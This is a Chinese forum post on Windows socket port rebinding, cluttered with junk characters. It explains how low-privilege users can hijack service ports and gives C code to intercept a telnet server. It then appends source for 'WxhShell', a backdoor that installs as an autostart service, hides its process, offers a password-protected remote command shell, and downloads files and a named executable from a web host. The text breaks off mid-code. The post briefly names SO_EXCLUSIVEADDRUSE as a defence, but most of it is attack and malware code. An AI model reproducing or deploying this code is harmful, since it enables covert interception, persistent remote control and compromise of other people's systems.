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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K?JV]^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `xGT_0&ck  
S!<"Swf:  
  saddr.sin_family = AF_INET; w O89&XZ<  
nAvs~J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Yu;9&b  
.=CH!{j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B/rzh? b  
N:7.:Yw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [lZ=s[n.  
}Wqtip:L  
  这意味着什么?意味着可以进行如下的攻击: n@_)fFD%  
U(!?d ]en  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _C5nApb  
:S#i9# aB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }q]jjs  
K,]woNxaw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r\B"?oqC  
y%FYXwR{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gz#+  
sX Z4U0 #  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zNwc((  
$q^O%(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,, 7.=#  
l*qk1H"g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \UhGGg%  
X4Lsvvz%@  
  #include yj'Cy8  
  #include z41D^}b  
  #include AT-0}9z{  
  #include    {x|MA(NO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =8@RKG`>;  
  int main() qA04Vc[2  
  { 0xLkyt0  
  WORD wVersionRequested; d0Tg qO{  
  DWORD ret; *0lt$F$~b  
  WSADATA wsaData; K1<k+t/V  
  BOOL val; JLml#Pu4  
  SOCKADDR_IN saddr; g4i #1V=  
  SOCKADDR_IN scaddr; "7:u0p!  
  int err; KjC[q  
  SOCKET s; F~%|3a$Y  
  SOCKET sc; ML"_CQlE7  
  int caddsize; waBRQh  
  HANDLE mt; \6Xn]S  
  DWORD tid;   M`(;>Kp7  
  wVersionRequested = MAKEWORD( 2, 2 ); {rz>^  
  err = WSAStartup( wVersionRequested, &wsaData ); sFCf\y  
  if ( err != 0 ) { K[n<+e;G  
  printf("error!WSAStartup failed!\n"); \Ec X!aC  
  return -1; |I(%7K  
  } X"wF Qa  
  saddr.sin_family = AF_INET; \6U 2-m'  
   1T:)Zv'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?l(nM+[kSL  
{ qjUI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1]HHe*'Z  
  saddr.sin_port = htons(23); X,&`WPA:S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0,bt^a  
  { V, E9Uds  
  printf("error!socket failed!\n"); bKTqX[=  
  return -1; Sio1Q0  
  } p1C_`f N,  
  val = TRUE; Q:kwQg:~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g^qz&;R]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wE)] ah:  
  { )7tV*=?Ic8  
  printf("error!setsockopt failed!\n"); e<kpcF5{\  
  return -1; coW)_~U|  
  } L(W%~UGN V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?U=mcdqd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PKl]Geg P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i[mC3ghM6,  
!'+\]eA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :{x!g6bK@  
  { kBQ5]Q"  
  ret=GetLastError(); u<x[5xH+  
  printf("error!bind failed!\n"); j )<;g(  
  return -1; 7? +5%7-  
  } 0kkRK*fp}x  
  listen(s,2); '9f6ZAnYpQ  
  while(1) /5&3WG&<u  
  { E*Pz <  
  caddsize = sizeof(scaddr); | pF5`dX  
  //接受连接请求 F@B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +Kxe ymwr2  
  if(sc!=INVALID_SOCKET) &t[z  
  { B>ms`|q=l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xV"6d{+  
  if(mt==NULL) MX"A@p~H  
  { %g!yccD9  
  printf("Thread Creat Failed!\n"); 9Ilfv  
  break; =PI^X\if88  
  } U f=vs(  
  } 3| GNi~  
  CloseHandle(mt); Z83q-  
  } [c,|Lw4  
  closesocket(s); y>DfM5>  
  WSACleanup(); l~`txe  
  return 0; A9NOeE  
  }   +8MW$ m$  
  DWORD WINAPI ClientThread(LPVOID lpParam) +8L(pMI4  
  { =1%zI%  
  SOCKET ss = (SOCKET)lpParam; iK$Vd+Lgc  
  SOCKET sc; R>Z,TQU  
  unsigned char buf[4096]; +s#S{b  
  SOCKADDR_IN saddr; aS c#&{  
  long num; A@9U;8k  
  DWORD val; 6 ,7/8  
  DWORD ret; rhlW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8<wtf]x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   lCM6T;2ID  
  saddr.sin_family = AF_INET; 9O(i+fM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g(ZeFOn  
  saddr.sin_port = htons(23); c#]'#+aH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p.6$w:eV  
  { <B|n<R<?  
  printf("error!socket failed!\n"); Z!q2F%02FO  
  return -1; ]>]#zu$=c  
  } @2x0V]AI  
  val = 100; =NVZ$KOZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V+4k!  
  { ">0/>>Ry  
  ret = GetLastError(); d A_S"Zc  
  return -1; WLg6-@kxXs  
  } -o=P85 V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eXskwV+7  
  { r6gt9u:  
  ret = GetLastError(); @m !9"QhC  
  return -1; TFiuz; *|  
  } 7I2a*4}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SX1Fyy6 w  
  { T! &[  
  printf("error!socket connect failed!\n"); D=5t=4^H(  
  closesocket(sc); 7Va#{Y;Zy  
  closesocket(ss); n?<# {$  
  return -1; 6xDl=*&%  
  } EOd.Tyb!/  
  while(1) ~:P8g<w  
  { Pj1K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =]5DYRhX]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lx A<iQia  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S0Rf>Eo4  
  num = recv(ss,buf,4096,0); 7?n* t  
  if(num>0) }J'5EAp  
  send(sc,buf,num,0); >#"jfjDuR  
  else if(num==0) E.7AbHph0  
  break; r{Qs9  
  num = recv(sc,buf,4096,0); Mip m&5R  
  if(num>0) }`+^|1  
  send(ss,buf,num,0); Ee$" O 6*!  
  else if(num==0) $ ufSNx(F  
  break; S<2CG)K[  
  } Q KcF1?  
  closesocket(ss); ^a:vJ)WB7  
  closesocket(sc); e4>L@7  
  return 0 ; IGF37';;  
  } XNkQk0i;g&  
(dO'_s&M]/  
WwCK  K  
========================================================== LX(iuf+l  
-Y 6.?z  
下边附上一个代码,,WXhSHELL 8JjU 9#  
s)o ,Fi  
========================================================== ^2Fs)19R  
&<fRej]v  
#include "stdafx.h" ^w&5@3d  
O3<Y_I^  
#include <stdio.h> \@ WsF$  
#include <string.h> NbQMWU~7  
#include <windows.h> -Fok %iQ'5  
#include <winsock2.h> , $D&WH  
#include <winsvc.h> BRSgB-Rr7  
#include <urlmon.h> C-:SQf  
1O'*X  
#pragma comment (lib, "Ws2_32.lib") *$4A|EA V  
#pragma comment (lib, "urlmon.lib") mvL0F%\.\  
+s*l#'Q  
#define MAX_USER   100 // 最大客户端连接数 N,sqrk]  
#define BUF_SOCK   200 // sock buffer OH!$5FEc  
#define KEY_BUFF   255 // 输入 buffer vxzf[  
E |GK3/  
#define REBOOT     0   // 重启 1K*f4BnDr~  
#define SHUTDOWN   1   // 关机 fn?6%q,!ls  
%x'bo>h@  
#define DEF_PORT   5000 // 监听端口 ;I`,ZKY  
r:8]\RU  
#define REG_LEN     16   // 注册表键长度 ]\os`At  
#define SVC_LEN     80   // NT服务名长度 :>er^\  
-UD~>s  
// 从dll定义API NZ%~n:/V#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?V\9,BTb)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0,L$x*Nj5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cr V2 V)|G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~\@<8@N2a6  
:}3qZX  
// wxhshell配置信息 ^*?B)D=,  
struct WSCFG { wE8a4.  
  int ws_port;         // 监听端口 /F8\%l+  
  char ws_passstr[REG_LEN]; // 口令 3<UDVt@0  
  int ws_autoins;       // 安装标记, 1=yes 0=no \$~oH3m&  
  char ws_regname[REG_LEN]; // 注册表键名 0imqj7L  
  char ws_svcname[REG_LEN]; // 服务名 wTMHoU*>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G|6|;   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ae{4AZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W_f"Gk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "6*Kgf2G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qqom$H<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8NF;k5   
ttAVB{kdo  
}; beHCEwh  
G(|(y=ck  
// default Wxhshell configuration Ek B6- nz  
struct WSCFG wscfg={DEF_PORT, xn x1`|1u  
    "xuhuanlingzhe", ]\9B?W(#  
    1, OL ]T+6X  
    "Wxhshell", SFk11  
    "Wxhshell", `9Q,=D+  
            "WxhShell Service",  /nD0hb  
    "Wrsky Windows CmdShell Service", M5ySs\O4  
    "Please Input Your Password: ", lA Ck$E  
  1, !>kv.`|7~  
  "http://www.wrsky.com/wxhshell.exe", Zh~Lm  
  "Wxhshell.exe" zQ6 -2 A  
    }; Y5A~iGp8E  
7p>-oR"  
// 消息定义模块 %6c*dy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W|-N>,G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )r6SGlE[Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {,  *Y  
char *msg_ws_ext="\n\rExit."; p`l[cVQ<  
char *msg_ws_end="\n\rQuit."; V jB`~  
char *msg_ws_boot="\n\rReboot..."; D'sboOY  
char *msg_ws_poff="\n\rShutdown..."; ^s(X VVA  
char *msg_ws_down="\n\rSave to "; B 1ZHV^  
4M<JfD  
char *msg_ws_err="\n\rErr!"; 7^t(RNq  
char *msg_ws_ok="\n\rOK!"; neY=:9  
PHiX:0zT  
char ExeFile[MAX_PATH]; LG@c)H74  
int nUser = 0; L};;o+5uJD  
HANDLE handles[MAX_USER]; Hb AMoow!  
int OsIsNt; MCrO]N($b  
5vh"PlK`s  
SERVICE_STATUS       serviceStatus; ao" ;5 m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O]%m{afM  
8,H5G`  
// 函数声明 t ]I(98pY  
int Install(void); vhquHy.qi#  
int Uninstall(void); ^q N1~v=hS  
int DownloadFile(char *sURL, SOCKET wsh); []N$;~R7  
int Boot(int flag); [sY1|eX   
void HideProc(void); 4ysdna\+  
int GetOsVer(void); I#hg(7|",  
int Wxhshell(SOCKET wsl); g;Sg 2  
void TalkWithClient(void *cs); )6R#k8'ERr  
int CmdShell(SOCKET sock); DEwtP  
int StartFromService(void); Lv5 ==w}  
int StartWxhshell(LPSTR lpCmdLine); \A\yuJ=  
qpwh #^2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :iNAXy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )!*M 71  
$}nUK~$GSv  
// 数据结构和表定义 <pl2 dxy  
SERVICE_TABLE_ENTRY DispatchTable[] = -S3+ h$Y8  
{ B[_bJ *  
{wscfg.ws_svcname, NTServiceMain}, 8 W<)c  
{NULL, NULL} .5CELtR  
}; g Wv+i/,  
\^(vlcy  
// 自我安装 s riq(A  
int Install(void) A%w]~ chC9  
{ ]3y5b9DuW  
  char svExeFile[MAX_PATH]; 56 kgL;$h  
  HKEY key; kRXg."b(  
  strcpy(svExeFile,ExeFile); ~$ qJw?r  
'>mb@m  
// 如果是win9x系统,修改注册表设为自启动 ].f,3it g&  
if(!OsIsNt) { }nY^T&?`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f]A6Mx6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ST8/ ;S#c  
  RegCloseKey(key); WAmoKZw2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R6$F<;nw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GV@E<dg$R  
  RegCloseKey(key); <^'+ ]?  
  return 0; pBnf^Ew1  
    } -GWzMBS S  
  } dQ|Ht[ s=  
} Vh2/Ls5  
else { yz$1qEII`q  
tc2GI6]e'  
// 如果是NT以上系统,安装为系统服务 tP(bRQ>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ee0>B86tE  
if (schSCManager!=0) _xL&sy09t  
{ z*~ PYAt  
  SC_HANDLE schService = CreateService -Fc#  
  ( 4kF .  
  schSCManager, Yg,lJ!q  
  wscfg.ws_svcname, p'!,F; xX  
  wscfg.ws_svcdisp, s]8J+8 <uO  
  SERVICE_ALL_ACCESS, @>nk^ l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M-K@n$k   
  SERVICE_AUTO_START, KdMA58)  
  SERVICE_ERROR_NORMAL, cBF%])!  
  svExeFile, @#Uiy5N  
  NULL, jLS]^|  
  NULL, {ro!OuA  
  NULL, +Y]*>afG  
  NULL, *`pBQZn05O  
  NULL BCZnF /Zo  
  ); PZg]zz=V4  
  if (schService!=0) uvv-lAbjw  
  { ` "":   
  CloseServiceHandle(schService); St&HE:  
  CloseServiceHandle(schSCManager); _v=WjN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |b~g^4  
  strcat(svExeFile,wscfg.ws_svcname); a&aIkD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y* Q-4_%,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m1o65FsY08  
  RegCloseKey(key); ?[/,*Q%  
  return 0; ];~[Olc  
    } (0m$W<  
  } &`Z)5Ww  
  CloseServiceHandle(schSCManager); 8PjhvU  
} ZV4' |q  
} 2OlC7X{  
(C|V-}/*m  
return 1; "<$vU_  
} t}+c/ C%b=  
oqHm:u ^2  
// 自我卸载 M &EJFpc*  
int Uninstall(void) E^W*'D  
{ >P"/ nS"nn  
  HKEY key; \0T*msYQ  
H08YM P>dc  
if(!OsIsNt) { iSLf:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f> [;|r@K  
  RegDeleteValue(key,wscfg.ws_regname); )mVYqlU"  
  RegCloseKey(key); ^K8a#-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WzbN=& C]h  
  RegDeleteValue(key,wscfg.ws_regname); VD`2lGdF  
  RegCloseKey(key); /_\W*@ E  
  return 0; +1fOW4!5  
  } [ \n.[4gq"  
} kR?n%`&k  
} C\@YH]  
else { sZBO_](S  
g}r5ohqC#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3^yWpSC  
if (schSCManager!=0) G6mM6(Sr  
{ 2MzFSmhc"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ki;5 =)  
  if (schService!=0) <KPx0g?=b  
  { rB|:r\Z(jG  
  if(DeleteService(schService)!=0) { /M `y LI  
  CloseServiceHandle(schService); ,5uDEXpt{  
  CloseServiceHandle(schSCManager); i1@gHk  
  return 0; ibUPd."W  
  } v$/i5kcWx  
  CloseServiceHandle(schService); R*eM 1  
  } 2#}IGZ`Yp/  
  CloseServiceHandle(schSCManager); qA/ 3uA!z  
} b+apNph  
} Z*"t]L  
TiEJyd`P  
return 1; jAHn`Bxz  
} &-Er n/[  
eG>Fn6G<g  
// 从指定url下载文件 IVODR  
int DownloadFile(char *sURL, SOCKET wsh) Cs=i9.-A  
{ =C1Qo#QQ%  
  HRESULT hr; ([o:_5/8I  
char seps[]= "/"; >8t[EsW/  
char *token; &`2*6 )qa  
char *file; [;8fL  
char myURL[MAX_PATH]; Xb 1^Oj  
char myFILE[MAX_PATH]; ;K-t  
:S6 <v0`Z  
strcpy(myURL,sURL); vJ}  
  token=strtok(myURL,seps); vz5 RS  
  while(token!=NULL) m|FONQ,@D  
  { LOkDx2@g  
    file=token; LgKEg90w(  
  token=strtok(NULL,seps); 8k'em/M~  
  } v~QZO4[ '  
d}J#wT  
GetCurrentDirectory(MAX_PATH,myFILE); wk/U"@lq  
strcat(myFILE, "\\"); Q[tz)99~  
strcat(myFILE, file); i.,B 0s] Z  
  send(wsh,myFILE,strlen(myFILE),0); uW_ /7ex  
send(wsh,"...",3,0); < _uv!N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F$p,xFH#  
  if(hr==S_OK) }gaKO 5  
return 0; :8T@96]P  
else G=Bj1ss.  
return 1; Y %8QFM  
RM$S|y{L  
} me\)JCZpb{  
5*Iz3vTq  
// 系统电源模块 ')~HOCBSE  
int Boot(int flag) IWnW(>V  
{ D"5~-9<  
  HANDLE hToken; MRu+:Y=K  
  TOKEN_PRIVILEGES tkp; S@-X?Lu  
YP97D n  
  if(OsIsNt) { ]HT>-Ba;{h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :PkSX*E[q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T5G+^XDA  
    tkp.PrivilegeCount = 1; m':m`,c!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -8e tH&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hV>Ey^Ty  
if(flag==REBOOT) { ^E*C~;^S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )A;<'{t #L  
  return 0; f89<o#bm7h  
} 1h{_v!X  
else { X)5O@"4 ?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mz '8  
  return 0; n&&y\?n  
} g;@PEZk1  
  } 3qZ{yr2N[  
  else { Np_6ZUaqz  
if(flag==REBOOT) { obGSc)?j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { )K(}~VD  
  return 0; m!if_Iq  
} K?WqAVK  
else { ).b+S>k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {+}Lc$O#C  
  return 0; IA^DfdZY  
} FiL JF!  
} cH ?]uu(  
'-{jn+,  
return 1; 2V 'Tt3  
} =z.AQe+   
2Ta F7Jn  
// win9x进程隐藏模块 )BDi2: u  
void HideProc(void) Hq8.O/Y"=  
{ G9Ezm*I;:  
ST.W{:X   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qxh\umm+2  
  if ( hKernel != NULL ) RzRLrfV  
  { ' 'N@ <|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j+seJg<_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )qe o`4+y  
    FreeLibrary(hKernel); ;rbn/6  
  } 1Btf)y'  
qI:wm=  
return; :#;?dMkTY  
} 6 h):o  
iqYc&}k,  
// 获取操作系统版本 54&2SU$kx  
int GetOsVer(void) f}4h}Cq  
{ hG]20n2  
  OSVERSIONINFO winfo; E}+A)7mA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /@e\I0P^  
  GetVersionEx(&winfo); FT6cOMu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LA5rr}<K  
  return 1; CJ b ~~  
  else cj)~7 WF  
  return 0; eS|p3jk;  
} -)GfSk   
>6j`ZWab>  
// 客户端句柄模块 zQJbZ=5Bu"  
int Wxhshell(SOCKET wsl) b%F*Nr  
{ x&wUPo{  
  SOCKET wsh; @P>@;S  
  struct sockaddr_in client; 6dp~19T^  
  DWORD myID; LV0{~g(!%  
*lSIT]1  
  while(nUser<MAX_USER) ;RI,zQ  
{ e2Dj%=`EU  
  int nSize=sizeof(client); 2UquN0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BHYEd}M  
  if(wsh==INVALID_SOCKET) return 1; 2o;M:+KQ)  
umeb&\:8S-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Oh: -Y]m=  
if(handles[nUser]==0) _{aVm&^kA  
  closesocket(wsh); M 5h U.3.L  
else }sZ]SE  
  nUser++; /k,p]/e  
  } t z{]H9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ) AIZE?oX  
/~Iy1L#  
  return 0; S3m+(N"&  
} $- L)>"  
s*@.qN  
// 关闭 socket w;"'l]W  
void CloseIt(SOCKET wsh) ~i4@sz&  
{ \l~h#1|%;s  
closesocket(wsh); 6pse @x?  
nUser--; wP i=+  
ExitThread(0); |(N4x(xl  
} +}n]A^&I\E  
i F Ab"VA  
// 客户端请求句柄 5`J. ic  
void TalkWithClient(void *cs) $H}Q"^rs  
{ <tNx*ce5  
jZGmTtx  
  SOCKET wsh=(SOCKET)cs; 9}-,dgAB  
  char pwd[SVC_LEN]; +qdK]RR}  
  char cmd[KEY_BUFF]; j:#[voo7  
char chr[1]; q$K~BgFzpZ  
int i,j; | v+b?@  
>jcNo3S  
  while (nUser < MAX_USER) { wJ}8y4O!N  
bCsQWsj^NW  
if(wscfg.ws_passstr) { s`{O-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uf6{M_jXZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [T|~K h%#  
  //ZeroMemory(pwd,KEY_BUFF); PHoW|K_e  
      i=0; $8Zw<aEJ  
  while(i<SVC_LEN) { Jad'8}0J  
4PdFq*A  
  // 设置超时 0Z\fK>yw  
  fd_set FdRead; {`:!=  
  struct timeval TimeOut; R] dB Uu  
  FD_ZERO(&FdRead); I4$a#;  
  FD_SET(wsh,&FdRead); )}R0'QGd  
  TimeOut.tv_sec=8; 2Y,s58F  
  TimeOut.tv_usec=0; @`3)?J[w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1+]e?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B:l(`G  
Uhf -}Jdw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c{[d@jt O  
  pwd=chr[0]; pq@ad\8  
  if(chr[0]==0xd || chr[0]==0xa) { opBv x>S  
  pwd=0; Gr_I/+<  
  break; qdOS=7]W  
  } W[YtNL;  
  i++; czj[U|eB}=  
    } 4):\,>%pK  
Uc&0>_Z  
  // 如果是非法用户,关闭 socket 49CMRO,T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sx9 N8T3n  
} jN[Z mJz'  
nQ mkDPjU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kn! J`"b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T+\BX$w/4e  
PW}Yts7p  
while(1) { d;>:<{z@CD  
#2pgh?  
  ZeroMemory(cmd,KEY_BUFF); V!oyC$eV  
`jJb) z3D  
      // 自动支持客户端 telnet标准   :Qf^@TS}O  
  j=0; 6D$xG"c  
  while(j<KEY_BUFF) { P~~RK& +i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |(wx6H:  
  cmd[j]=chr[0]; k&Sg`'LG8  
  if(chr[0]==0xa || chr[0]==0xd) { P)T:6K  
  cmd[j]=0; Dv$xP)./  
  break; .EI/0"^  
  } J%nJO3,  
  j++; _onHe"%{  
    } ALFw[1X  
<#c2Hg%jh  
  // 下载文件 0^;{b^!(  
  if(strstr(cmd,"http://")) { fUa`Y ryQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XVY^m}pMe  
  if(DownloadFile(cmd,wsh)) w^r*qi"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zFOX%q  
  else ?&?y-&.5-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]^s4NXf+  
  } p 0-\G6  
  else { qoEOM%dAqV  
(A1!)c  
    switch(cmd[0]) { }ts?ZR^V,  
  BYu|loc  
  // 帮助 e Q0bx&  
  case '?': { ?L_#AdK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *FO']D  
    break; ~Su>^T(?-  
  } Jg7IGU(dct  
  // 安装 ,Qp58u2V  
  case 'i': { nwz}&nR  
    if(Install()) 1 }:k w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hj-M #a  
    else E;%{hAD{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]E`DG  
    break; }O_6wi  
    } ,"DkMK4%  
  // 卸载 8,%y`tUn>u  
  case 'r': { z2-=fIr.h  
    if(Uninstall()) @~zhAU!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }UX>O  
    else JBuorc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,4kw~tA  
    break; gbo{Zgf<  
    } !j\  yt  
  // 显示 wxhshell 所在路径 ?vvjwys@  
  case 'p': { "ibKi=  
    char svExeFile[MAX_PATH]; R_/T bz  
    strcpy(svExeFile,"\n\r"); +W-sb5)  
      strcat(svExeFile,ExeFile); Q7i^VN  
        send(wsh,svExeFile,strlen(svExeFile),0); 7pkc*@t  
    break; n`CmbM@@  
    } D`Fl*Wc4H  
  // 重启 u U\UULH0  
  case 'b': { Q5baY\"9^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~?nPp$^  
    if(Boot(REBOOT)) %2V_%KA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mz>"4-]  
    else { nc([e9_9v  
    closesocket(wsh); jo+T!CUM'  
    ExitThread(0); T"3WB o  
    } ; 5oY)1  
    break; +>{{91mN  
    } D_'Zucq  
  // 关机 B>gC75  
  case 'd': { ^lbOv}C*  
